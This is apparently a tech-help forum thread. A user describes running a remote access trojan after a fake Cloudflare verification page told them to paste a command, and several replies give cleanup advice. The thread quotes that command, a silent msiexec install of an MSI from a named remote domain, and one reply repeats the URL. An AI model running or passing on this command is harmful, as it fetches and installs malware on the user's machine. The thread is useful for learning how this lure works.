I accidentally ran a Remote Access Trojan (RAT) while I was on a friend's laptop. I was directed to a fake Cloudflare verification page that prompted me to open the run dialogue and paste a command `msiexec /qn /i https://insertshadydomainhere.com/cl.msi`. It took me a couple of seconds to realize what I was doing, and I shut down the computer immediately after running the command. I then booted it up without internet access and checked for any unusual startup programs or files, but nothing seemed out of the ordinary. I also ran a full Malwarebytes scan, which came back clean. Should I be worried, or can I consider my laptop safe? Just for reference, here's the original command: `msiexec /qn /i https://clouddverify.com/cl.msi`
5 Answers
You might be fine given how fast you shut down, but remember that malware can hide in various system areas. If you want peace of mind, doing a system restore to a date before this happened could be a solid precaution.
I wouldn't panic just yet, but definitely different measures could help. Ensure you're changing passwords and enable two-factor authentication on your sensitive accounts, just as a precaution, at least until you feel secure.
In case you're curious about the domain, the original link was `https://clouddverify.com/cl.msi`. Make sure to check if it’s still active to learn more about what you've potentially run.
Running a RAT, even briefly, can be risky. Two seconds is a shocking amount of time for malware to execute, but you're likely okay if the shutdown was immediate. Just be cautious! It’s best to take precautions. I’d recommend reinstalling Windows from a USB drive to be completely safe.
It’s important to check your system thoroughly since RATs can install things silently. Look for any suspicious activity and consider using a secondary antivirus tool along with Malwarebytes, like Hitman Pro. If you're uneasy, a clean install is always a safe route.
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